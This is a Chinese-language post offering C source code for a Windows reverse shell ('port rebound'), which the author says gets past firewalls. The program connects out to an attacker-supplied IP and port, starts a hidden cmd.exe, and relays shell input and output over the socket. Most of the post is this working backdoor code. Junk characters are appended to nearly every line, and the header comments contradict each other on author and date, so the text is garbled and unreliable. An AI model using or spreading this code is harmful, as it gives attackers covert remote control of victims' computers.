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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x;Q2/YZ#  
!k63 `(Ti  
/* ============================== J4i0+u  
Rebound port in Windows NT /'&L M\  
By wind,2006/7 H@:@zD!G[  
===============================*/ ;21JM2JI8  
#include \Wk$>?+#@  
#include JV>OmUAk  
Wwz{98,K  
#pragma comment(lib,"wsock32.lib") (x@"Dp=MZW  
}1wuH  
void OutputShell(); I_rVeMw=  
SOCKET sClient; Fz% n!d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _?"J.i  
yrX]w3kr%  
void main(int argc,char **argv) XQA2uR4h  
{ SEmD's  
WSADATA stWsaData; y (A"g3^=  
int nRet; bOdD:=f  
SOCKADDR_IN stSaiClient,stSaiServer; %O${EN  
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if(argc != 3) 8TZe=sD~cr  
{ mfvQ]tz_+  
printf("Useage:\n\rRebound DestIP DestPort\n"); x@=7M'vr%  
return; jI%yi-<;  
} gNeCnf#Xa  
rgCId@R  
WSAStartup(MAKEWORD(2,2),&stWsaData); Lnzhs;7L  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ilP&ctn6+c  
,J~dER\%  
stSaiClient.sin_family = AF_INET; .\ZxwD|  
stSaiClient.sin_port = htons(0); q,GL#L  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )r~Oj3TH  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) va0 a4s1O  
{ ]+8,@%="  
printf("Bind Socket Failed!\n"); @ h]H_  
return; +j,;g#d  
} kAoai|m@R  
R/W&~t  
stSaiServer.sin_family = AF_INET; sIpK@BQ'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3A5" %  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~>n<b1}W  
=6$(m}(74  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C6`8dn   
{ RUEU n  
printf("Connect Error!"); "Xqj%\  
return; -Da_#_F  
} e#wn;wo?  
OutputShell(); Jj!T7f*-GX  
} '&Ku Ba  
- M]C-$  
void OutputShell() ,<BTv;4p  
{ ?6Gq &  
char szBuff[1024]; 5>HI/QG  
SECURITY_ATTRIBUTES stSecurityAttributes; &Ru6Yt0W  
OSVERSIONINFO stOsversionInfo; Dz?F,g_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c1`o3gb  
STARTUPINFO stStartupInfo; TsQMwV_h  
char *szShell; aF:I]]TfK~  
PROCESS_INFORMATION stProcessInformation; 1\Mcs X4  
unsigned long lBytesRead; p82qFzq#  
R?W8l5CIk  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j{vzCRa>8  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D"MNlm  
stSecurityAttributes.lpSecurityDescriptor = 0; VioVtP0  
stSecurityAttributes.bInheritHandle = TRUE; mXr)lA  
&zZSWNW  
.f}I$ "2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'BC-'Ot  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bke 1 F '  
iG ;6e~p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [# _ceg1G  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2eNm2;  
stStartupInfo.wShowWindow = SW_HIDE; (w.B_9#  
stStartupInfo.hStdInput = hReadPipe; Pw")|85  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g%Z;rDfi  
<ANKoPNie  
GetVersionEx(&stOsversionInfo); \rpu=*gt  
$j:0*Z=>  
switch(stOsversionInfo.dwPlatformId) yoH6g?!O  
{ eRGip2^cq+  
case 1: f /jN$p  
szShell = "command.com"; Gqs8$[o  
break; SbB5J> >7J  
default: cIgF]My*D@  
szShell = "cmd.exe"; 1G\ugLm  
break; ~"-wSAm  
} sB6UlX;b:  
qRU8uu   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {M=tw  
{f!mm3'2v  
send(sClient,szMsg,77,0); <Z vG&  
while(1) =q._Qsj?fu  
{ xzy9~))o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kxKBI{L  
if(lBytesRead) 'K0Y@y  
{ `:8&m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W>"i0p  
send(sClient,szBuff,lBytesRead,0); RGiA>Z:W  
} V3jx{BXs2  
else A81kb  
{ k8h$#@^  
lBytesRead=recv(sClient,szBuff,1024,0); ?0%lB=qQ  
if(lBytesRead<=0) break; O6`@'N>6P  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *P_TG"^{W  
} <_NF  
} <'/+E4m  
f[.]JC+,  
return; MZ{)`7acR\  
}
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